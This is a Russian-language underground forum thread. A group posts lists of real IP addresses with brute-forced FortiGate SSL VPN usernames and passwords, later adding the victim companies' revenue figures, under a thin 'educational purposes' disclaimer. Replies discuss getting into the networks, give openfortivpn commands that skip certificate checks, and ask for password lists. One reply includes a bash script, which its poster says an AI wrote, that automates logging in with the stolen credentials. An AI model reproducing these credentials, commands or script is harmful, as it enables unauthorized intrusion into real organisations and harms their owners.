LIMB
Вход Регистрация

тема

Главное тренироваться! FortiNet -> PentestAD

DCcorp · · 15 ответов · 221 просмотров

К разделу
Теория... это конечно хорошо, и все что пишут в книгах...
Но вопрос в следующем... А где практически оттачивать свой теоретический навык?
В GOAD? Может самому поднимать свою авторскую лабораторию?
Все это неплохие варианты... но что будем делать, когда все это приестся?

Конечно же! Уходить в дикую природу!
Для тех желающих, кто рассматривает на перспективу, дружбу с нами на взаимовыгодных условиях, та и просто для тех кто всегда хотел себя попробовать, но не понимал точку входа в реально применительный пентест.
Это для Вас:

Code: 
177.25.47.20:10443 - arthur:arthur (ssl_vpn)
70.118.91.74:10443 - arthur:arthur (ssl_vpn)
138.94.20.206:10443 - arthur:arthur (ssl_vpn)
118.243.115.190:10443 - operator:P@ssw0rd (ssl_vpn)
218.219.224.244:10443 - operator:P@ssw0rd (ssl_vpn)
153.231.38.91:10443 - operator:P@ssw0rd (ssl_vpn)
118.6.166.8:10443 - operator:P@ssw0rd (ssl_vpn)
219.121.10.83:10443 - operator:P@ssw0rd (ssl_vpn)
36.2.48.127:10443 - operator:P@ssw0rd (ssl_vpn)
218.219.224.164:10443 - operator:P@ssw0rd (ssl_vpn)
124.219.162.206:10443 - operator:P@ssw0rd (ssl_vpn)

Позже, если замечу, что данное направление касательно материла для тренировки, Вам понравилось, то периодически будем делиться!

 
Спойлер: ВНИМАНИЕ!

Важное уведомление​

Информация, представленная в данном материале, публикуется исключительно в образовательных, научных и исследовательских целях . Автор материала не призывает к использованию предоставленных данных в целях несанкционированного доступа к сетям компаний, их системам или информации , что может нарушать законодательство (включая, но не ограничиваясь: статьи УК РФ №272 «Неправомерный доступ к компьютерной информации», №138 «Нарушение тайны переписки», №183 «Коммерческая тайна»).

И помните одну простую истину...
"Сам живи и жить давай другим!"
С уважением, команда DCorp!
👍11 🤔2 😢2 💯2
Спасибо за тестовый мат!

Вопросы по сабжу - если про скане 445 портов ничего нет, можно тут ничего даже не искать?
👍3
Ответsearch4cash

Спасибо за тестовый мат! Вопросы по сабжу - если про скане 445 портов ничего нет, можно тут ничего даже не искать?

Приносим свои извинения, МАТ с брута, в следующем сообщении прикрепим доступы, которые проверим на наличие AD
👍2
ОтветDCcorp

Приносим свои извинения, МАТ с брута, в следующем сообщении прикрепим доступы, которые проверим на наличие AD

Да не надо извиняться) 
Просто вопрос, если нет AD - что-то можно вытаскивать с таких сеток? На одной из выше выложенных была одна прикольная (saorafael, кто тыкал поймет), но нет понимания, что делать (когда там прям один из хостов backup называется)
👍2
Ответsearch4cash

Да не надо извиняться) Просто вопрос, если нет AD - что-то можно вытаскивать с таких сеток? На одной из выше выложенных была одна прикольная (saorafael, кто тыкал поймет), но нет понимания, что делать (когда там прям…

Поковырялся на досуге, в кратце - несколько подсетей, в каждой из них IoT из разряда принтеры, вебки, камеры. самое интересное - ftp и голый WS без AD. кредов нет, трафика нет, после небольшого брута выкинуло из подсети, решил что пару дней поищу способы пассивной разветки с ручными скриптами. давайте обсудим...?
👍3
Как и обещали ранее!

Code: 
85.184.233.130:443:backupadmin:P@ssw0rd123 Revenue: $38.4kk
185.62.159.136:443:cradmin:P@ssw0rd123 Revenue: $51.7kk

И помните одну простую истину...
"Сам живи и жить давай другим!"
Спойлер: ВНИМАНИЕ!

Важное уведомление​

Информация, представленная в данном материале, публикуется исключительно в образовательных, научных и исследовательских целях . Автор материала не призывает к использованию предоставленных данных в целях несанкционированного доступа к сетям компаний, их системам или информации , что может нарушать законодательство (включая, но не ограничиваясь: статьи УК РФ №272 «Неправомерный доступ к компьютерной информации», №138 «Нарушение тайны переписки», №183 «Коммерческая тайна»).
👍1
ОтветDCcorp

Как и обещали ранее! 85.184.233.130:443:backupadmin:p@ssw0rd123 Revenue: $38.4kk 185.62.159.136:443:cradmin:p@ssw0rd123 Revenue: $51.7kk И помните одну простую истину... Спойлер: ВНИМАНИЕ! Важное уведомление ​…

Не удалось прогрузить медиа


Используй эту штуку чтобы смайликов не было =)
👍3
ОтветArmCorp

Не удалось прогрузить медиа Используй эту штуку чтобы смайликов не было =)

Ты не поверишь, отвлекся, выкинул вам, даже не проверил :LOL:
👍1
Ответmike_vazovski

Поковырялся на досуге, в кратце - несколько подсетей, в каждой из них IoT из разряда принтеры, вебки, камеры. самое интересное - ftp и голый WS без AD. кредов нет, трафика нет, после небольшого брута выкинуло из…

Судя по всему вкуснятину выше выкинули)
Приветствую! Спасибо за мат. Вопрос глупый, как вы залетаете в эти сетки? Сорри, я просто в реальных кейсах новичок, домашние лабы и HTB pro labs и все тачки с AD сценариями мною удрочены передрочены уже, а опыта влетать в реальные корпы нет, если кто на пальцах вкратце объяснит буду рад) Знаю лишь только о существовании клиентов вроде cisco и fortinet.
👍5 ❤️1 🔥1
Gb
ОтветMonaliza

Приветствую! Спасибо за мат. Вопрос глупый, как вы залетаете в эти сетки? Сорри, я просто в реальных кейсах новичок, домашние лабы и HTB pro labs и все тачки с AD сценариями мною удрочены передрочены уже, а опыта…

Пиши нам  в лс)
👍5 🔥1
ОтветMonaliza

Приветствую! Спасибо за мат. Вопрос глупый, как вы залетаете в эти сетки? Сорри, я просто в реальных кейсах новичок, домашние лабы и HTB pro labs и все тачки с AD сценариями мною удрочены передрочены уже, а опыта…

тебе нужно скачать пакет openforticlient, далее команда:
openfortivpn ip:port -u <user>-p <pass> --insecure - у тебя вылезет ошибка по типу, нужен trustedcert, далее добавляешь этот сертификат 
openfortivpn ip:port
и команда выглядит следующим образом:
-u  <user> -p <pass> --insecure --trusted-cert XXXXXXXXXXXXXXXXXXXXXX
👍1
Приветствую всех причастных!
история следующая, кто, в каком порядке и на каких условиях сможет предоставить добротный такой словарик с паролями?
👍2
Ответmike_vazovski

Приветствую всех причастных! история следующая, кто, в каком порядке и на каких условиях сможет предоставить добротный такой словарик с паролями?

weakpass.com
👍1
Ответmike_vazovski

тебе нужно скачать пакет openforticlient, далее команда: и команда выглядит следующим образом:

 мне ИИ написал баш скрипт, который автоматом подставляет сертификат и входит в сеть. Но многие сетки при подключении вешают мой сервак и приходится его перезагружать. В чем может быть дело? В скрипте или в сетках (настройки безопасности и т.п.)? Выкладываю сам скрипт, может кто подскажет в чем дело или поделится своим рабочим :blush:


Bash: 
#!/bin/bash

INPUT="$1"

if [ -z "$INPUT" ]; then
    echo "Usage:"
    echo "  $0 https://IP:PORT:USERNAME:PASSWORD"
    exit 1
fi

# Trap для корректного выхода
trap "echo -e '\n[*] Stopping VPN...'; exit 0" SIGINT

# Убираем https://
INPUT="${INPUT#https://}"

IFS=':' read -r IP PORT USER PASS <<< "$INPUT"

if [ -z "$IP" ] || [ -z "$PORT" ] || [ -z "$USER" ] || [ -z "$PASS" ]; then
    echo "[!] Invalid format"
    echo "Expected: https://IP:PORT:USERNAME:PASSWORD"
    exit 1
fi

echo "[*] Target: $IP:$PORT"
echo "[*] User: $USER"

TMP_OUTPUT=$(mktemp)

echo "[*] Attempting first connection to extract certificate..."

sudo openfortivpn "$IP:$PORT" -u "$USER" -p "$PASS" 2>&1 | tee "$TMP_OUTPUT" &
PID=$!

sleep 6
sudo kill $PID 2>/dev/null

FINGERPRINT=$(grep -oE '[A-Fa-f0-9]{64}' "$TMP_OUTPUT" | head -n1)
rm -f "$TMP_OUTPUT"

if [ -z "$FINGERPRINT" ]; then
    echo "[!] Could not extract certificate fingerprint"
    echo "[*] Will try direct connection with reconnect..."
else
    echo "[+] Extracted certificate fingerprint:"
    echo "    $FINGERPRINT"
fi

echo "[*] Starting VPN with auto-reconnect..."

while true; do
    echo "[*] Connecting..."

    if [ -n "$FINGERPRINT" ]; then
        sudo openfortivpn "$IP:$PORT" \
            -u "$USER" \
            -p "$PASS" \
            --trusted-cert "$FINGERPRINT"
    else
        sudo openfortivpn "$IP:$PORT" \
            -u "$USER" \
            -p "$PASS"
    fi

    EXIT_CODE=$?

    echo "[!] Disconnected (exit code: $EXIT_CODE)"
    echo "[*] Reconnecting in 5 seconds..."
    sleep 5
done
👍2
Ответcaprica

мне ИИ написал баш скрипт, который автоматом подставляет сертификат и входит в сеть. Но многие сетки при подключении вешают мой сервак и приходится его перезагружать. В чем может быть дело? В скрипте или в сетках…

Лучше учись юзать openconnect. Поддерживает множества RA протоколов.
Bash: 
openconnect --protocol=fortinet fortigate.example.com
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.